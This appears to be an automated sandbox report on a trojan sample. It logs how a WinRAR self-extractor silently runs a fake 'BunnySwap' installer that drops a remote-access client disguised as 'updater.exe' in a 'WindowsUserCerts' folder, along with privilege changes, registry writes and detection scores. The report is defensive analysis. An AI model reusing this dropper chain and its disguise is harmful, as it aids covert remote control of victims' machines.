Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_111640E0	6_2_111640E0
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_11168345	6_2_11168345
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_11116F30	6_2_11116F30

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: String function: 1105E820 appears 36 times
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: String function: 11147060 appears 86 times
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: String function: 11029A70 appears 303 times
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: String function: 0110E1C0 appears 52 times
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: String function: 0110E0E4 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: String function: 0060C688 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: String function: 00615D14 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: String function: 005DD7A8 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: String function: 005F4B90 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: String function: 005F4E74 appears 61 times
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: String function: 00615A90 appears 37 times

Source: iumk21HlC8.exe

Static PE information: invalid certificate

Source: BunnySwap.tmp.4.dr

Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: BunnySwap.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BunnySwap.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BunnySwap.tmp.4.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: BunnySwap.tmp.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BunnySwap.tmp.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-6QR8B.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-R69AL.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-R69AL.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-JD6HO.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-GPOHH.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-GPOHH.tmp.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: iumk21HlC8.exe, 00000001.00000002.688558027.0000000005540000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs iumk21HlC8.exe
Source: iumk21HlC8.exe, 00000001.00000002.688558027.0000000005540000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs iumk21HlC8.exe
Source: iumk21HlC8.exe, 00000001.00000002.688384226.0000000005440000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs iumk21HlC8.exe
Source: iumk21HlC8.exe, 00000001.00000002.682109475.0000000003540000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs iumk21HlC8.exe

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Section loaded: pciinv.dll	Jump to behavior

Source: iumk21HlC8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: classification engine

Classification label: mal64.troj.evad.winEXE@7/59@2/3

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Code function: 1_2_010F6E5E GetLastError,FormatMessageW,

1_2_010F6E5E

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe

Code function: 4_2_004AF110 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

4_2_004AF110

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe

Code function: 4_2_0041A4DC GetDiskFreeSpaceW,

4_2_0041A4DC

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

Code function: 5_2_0062C764 GetVersion,CoCreateInstance,

5_2_0062C764

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Code function: 1_2_01109D9A FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

1_2_01109D9A

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Users\user\Desktop\iumk21HlC8.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Command line argument: sfxname	1_2_0110D42A
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Command line argument: sfxstime	1_2_0110D42A
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Command line argument: STARTDLG	1_2_0110D42A

Source: iumk21HlC8.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\iumk21HlC8.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: iumk21HlC8.exe	Virustotal: Detection: 51%
Source: iumk21HlC8.exe	Metadefender: Detection: 14%
Source: iumk21HlC8.exe	ReversingLabs: Detection: 40%

Source: BunnySwap.exe

String found in binary or memory: Prevents Setup from restarting applications. /LOADINF="filename" Instructs Setup to load the settings from the specified file af

Source: C:\Users\user\Desktop\iumk21HlC8.exe

File read: C:\Users\user\Desktop\iumk21HlC8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\iumk21HlC8.exe 'C:\Users\user\Desktop\iumk21HlC8.exe'
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe 'C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe' /VERYSILENT /SP-
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Process created: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp 'C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp' /SL5='$1B040C,2795622,780800,C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe' /VERYSILENT /SP-
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process created: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe 'C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe' /VERYSILENT /SP-	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Process created: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp 'C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp' /SL5='$1B040C,2795622,780800,C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe' /VERYSILENT /SP-	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process created: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Jump to behavior

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

Window found: window name: TMainForm

Jump to behavior

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: iumk21HlC8.exe

Static file information: File size 3634320 > 1048576

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

File opened: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\msvcr100.dll

Jump to behavior

Source: iumk21HlC8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: iumk21HlC8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: iumk21HlC8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: iumk21HlC8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: iumk21HlC8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: iumk21HlC8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: iumk21HlC8.exe

Static PE information: GUARD_CF, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: iumk21HlC8.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: iumk21HlC8.exe
Source:	Binary string: msvcr100.i386.pdb source: updater.exe, 00000006.00000002.925564311.000000006CEB1000.00000020.00020000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: updater.exe, 00000006.00000002.916336848.0000000000822000.00000002.00020000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: is-56656.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: updater.exe, 00000006.00000002.925841993.000000006EB32000.00000002.00020000.sdmp, is-GM773.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: updater.exe, 00000006.00000002.925733262.000000006CF75000.00000002.00020000.sdmp, is-D0B6K.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: is-56656.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp

Source: iumk21HlC8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: iumk21HlC8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: iumk21HlC8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: iumk21HlC8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: iumk21HlC8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

